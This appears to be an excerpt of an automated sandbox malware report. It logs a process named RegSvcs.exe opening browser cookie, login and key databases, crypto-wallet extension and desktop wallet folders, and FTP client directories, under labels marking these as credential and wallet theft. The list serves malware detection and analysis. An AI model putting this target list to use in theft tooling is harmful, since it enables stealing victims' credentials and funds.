Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hdokiejnpimakedhajhdlcegeplioahd	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\acmacodkjbdgmoleebolmdjonilkdbch	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mmmjbcfofconkannjonfmjjajpllddbg	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aiifbnbfobpmeekipheeijimdpnlpgpp	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aholpfdialjgjfhomihkjbmgjidlcdno	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kncchdigobghenbbaddojjnnaogfppfj	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\klnaejjgbibmhlephnhpmaofohgkpgkd	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cihmoadaighcejopammfbmddcmdekcje	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mopnmbcafieddcagagdcbnhejhlodfdd	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jojhfeoedkpkglbfimdfabpdfjaoolaf	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeblfdkhhhdcdjpifhhbdiojplfjncoa	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhhhlbepdkbapadjdnnojkbgioiodbic	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cphhlgmgameodnhkjdmkpanlelnlohao	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dmkamcknogkgcdfhhbddcghachkejeap	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dlcobpjiigpikoobohmabehhmhfoodbb	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\infeboajgfhgbjpjbeppbkgnabfdkdaf	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dkdedlpgdmmkkfjabffeganieamfklkm	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ookjlbkiijinhpmnjffcofjonbfbgaoc	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nngceckbapebfimnlniiiahkandclblb	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\pioclpoplcdbaefihamjohnefbikjilc	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kkpllkodjeloidieedojogacfhpaihoh	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ibnejdfjmmkpcnlpebklmnkoeoihofec	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ppbibelpcjmhbdihakflkdcoccbgbkpo	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\cert9.db	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ojggmchlghnjlapmfbnjholfjkiidbch	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kppfdiipphfccemcignhifpjkapfbihd	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jiidiaalihmmhddjgbnbgdfflelocpak	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hcflpincpppdclinealmandijcmnkbgn	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhbohimaelbohpjbbldcngcnapndodjp	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkbihfbeogaeaoehlefnkodbefgpgknn	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kpfopkelmapcoipemfendmdcghnegimn	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\cookies.sqlite	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hnfanknocfeofbddgcijnmhnfnkdnaad	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bfnaelmomeimhlpmgjnjophhpkkoljpa	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\blnieiiffboillknjnepogjhkgnoapac	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ocjdpmoallmgmjbbogfiiaofphbjgchh	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mkpegjkblkkefacfnmkajcjmabijhclg	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fihkakfobkmkjojpchpfgcmhfjnmnfpi	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onofpnbbkehpmmoabgpcpmigafmmnjh	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlgbhdfgdhgbiamfdfmbikcdghidoadd	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\afbcbjpbpfadlkmhmclhkeeodmamcflc	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cjelfplplebdjjenllpjcblmjkfcffne	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\logins.json	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nknhiehlklippafakaeklbeglecifhad	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\places.sqlite	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\ilgcnhelpchnceeipipijaljkblbcob	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\opcgpfmipidbgpenhmajoajpbobppdil	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nanjmdknhkinifnkgdcggcfnhdaammmj	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\amkmjjmmflddogmhpjloimipbofnfjih	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mcohilncbfahbmgdjkbpemcciiolgcge	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jgaaimajipbpdogpdglhaphldakikgef	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jnlgamecbpmbajjfhmmmlhejkemejdma	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\oeljdldpnmdbchonielidgobddfffla	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\imloifkgjagghnncjkhggdhalmcnfklk	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\phkbamefinggmakgklpkljjmgibohnba	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\key4.db	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bcopgchhojmggmffilplmbdicgaihlkp	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hifafgmccdpekplomjjkcfgodnhcellj	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\gaedmjdfmmahhbjefcbgaolhhanlaolb	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkddgncdjgjfcddamfgcmfnlhccnimig	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnncmdhjacpkmjmkcafchppbnpnhdmon	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jbdaocneiiinmjbjlgalhcelgbejmnid	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lpfcbjknijpeeillifnkikgncikgfhdo	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aflkmfhebedbjioipglgcbcmnbpgliof	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lodccjjbdhfakaekdiahmedfbieldgik	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\heefohaffomkkkphnlpohglngmbcclhi	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\bhghoamapcdpbohphigoooaddinpkbai	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mnfifefkajgofkcjkemidiaecocnkjeh	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fcfcfllfndlomdhbehjjcoimbgofdncg	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onhogfjeacnfoofkfgppdlbmlmnplgbn	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\loinekcabhlmhjjbocijdoimmejangoa	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\idnnbdplmphpflfnlkomgpfbpcgelopg	Jump to behavior

Tries to harvest and steal ftp login credentials

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File opened: C:\Users\user\AppData\Roaming\FTPbox	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File opened: C:\Users\user\AppData\Roaming\SmartFTP\Client 2.0\Favorites	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File opened: C:\Users\user\AppData\Roaming\FTPRush	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File opened: C:\Users\user\AppData\Roaming\Conceptworld\Notezilla	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File opened: C:\Users\user\AppData\Roaming\FTPGetter	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File opened: C:\Users\user\AppData\Roaming\FTPInfo	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File opened: C:\ProgramData\SiteDesigner\3D-FTP	Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File opened: C:\Users\user\AppData\Roaming\Binance	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB	Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Directory queried: C:\Users\user\Documents\AQRFEVRTGL	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Directory queried: C:\Users\user\Documents\AQRFEVRTGL	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Directory queried: C:\Users\user\Documents\BXAJUJAOEO	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Directory queried: C:\Users\user\Documents\BXAJUJAOEO	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Directory queried: C:\Users\user\Documents\NWCXBPIUYI	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Directory queried: C:\Users\user\Documents\NWCXBPIUYI	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Directory queried: C:\Users\user\Documents\AQRFEVRTGL	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Directory queried: C:\Users\user\Documents\AQRFEVRTGL	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Directory queried: C:\Users\user\Documents\BXAJUJAOEO	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Directory queried: C:\Users\user\Documents\BXAJUJAOEO	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Directory queried: C:\Users\user\Documents\CZQKSDDMWR	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Directory queried: C:\Users\user\Documents\CZQKSDDMWR	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Directory queried: C:\Users\user\Documents\DQOFHVHTMG	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Directory queried: C:\Users\user\Documents\DQOFHVHTMG	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Directory queried: C:\Users\user\Documents\NWCXBPIUYI	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Directory queried: C:\Users\user\Documents\NWCXBPIUYI	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Directory queried: C:\Users\user\Documents\AQRFEVRTGL	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Directory queried: C:\Users\user\Documents\AQRFEVRTGL	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Directory queried: C:\Users\user\Documents\BXAJUJAOEO	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Directory queried: C:\Users\user\Documents\BXAJUJAOEO	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Directory queried: C:\Users\user\Documents\CZQKSDDMWR	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Directory queried: C:\Users\user\Documents\CZQKSDDMWR	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Directory queried: C:\Users\user\Documents\HMPPSXQPQV	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Directory queried: C:\Users\user\Documents\HMPPSXQPQV	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Directory queried: C:\Users\user\Documents\AQRFEVRTGL	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Directory queried: C:\Users\user\Documents\AQRFEVRTGL	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Directory queried: C:\Users\user\Documents\BXAJUJAOEO	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Directory queried: C:\Users\user\Documents\BXAJUJAOEO	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Directory queried: C:\Users\user\Documents\CZQKSDDMWR	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Directory queried: C:\Users\user\Documents\CZQKSDDMWR	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Directory queried: C:\Users\user\Documents\DQOFHVHTMG	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Directory queried: C:\Users\user\Documents\DQOFHVHTMG	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Directory queried: C:\Users\user\Documents\HMPPSXQPQV	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Directory queried: C:\Users\user\Documents\HMPPSXQPQV	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Directory queried: C:\Users\user\Documents\NWCXBPIUYI	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Directory queried: C:\Users\user\Documents\NWCXBPIUYI	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Directory queried: C:\Users\user\Documents\AQRFEVRTGL	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Directory queried: C:\Users\user\Documents\AQRFEVRTGL	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Directory queried: C:\Users\user\Documents\CZQKSDDMWR	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Directory queried: C:\Users\user\Documents\CZQKSDDMWR	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Directory queried: C:\Users\user\Documents\DQOFHVHTMG	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Directory queried: C:\Users\user\Documents\DQOFHVHTMG	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Directory queried: C:\Users\user\Documents\HMPPSXQPQV	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Directory queried: C:\Users\user\Documents\HMPPSXQPQV	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Directory queried: C:\Users\user\Documents\NWCXBPIUYI	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Directory queried: C:\Users\user\Documents\NWCXBPIUYI	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Directory queried: C:\Users\user\Documents\AQRFEVRTGL	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Directory queried: C:\Users\user\Documents\AQRFEVRTGL	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Directory queried: C:\Users\user\Documents\BXAJUJAOEO	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Directory queried: C:\Users\user\Documents\BXAJUJAOEO	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Directory queried: C:\Users\user\Documents\CZQKSDDMWR	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Directory queried: C:\Users\user\Documents\CZQKSDDMWR	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Directory queried: C:\Users\user\Documents\DQOFHVHTMG	Jump to behavior
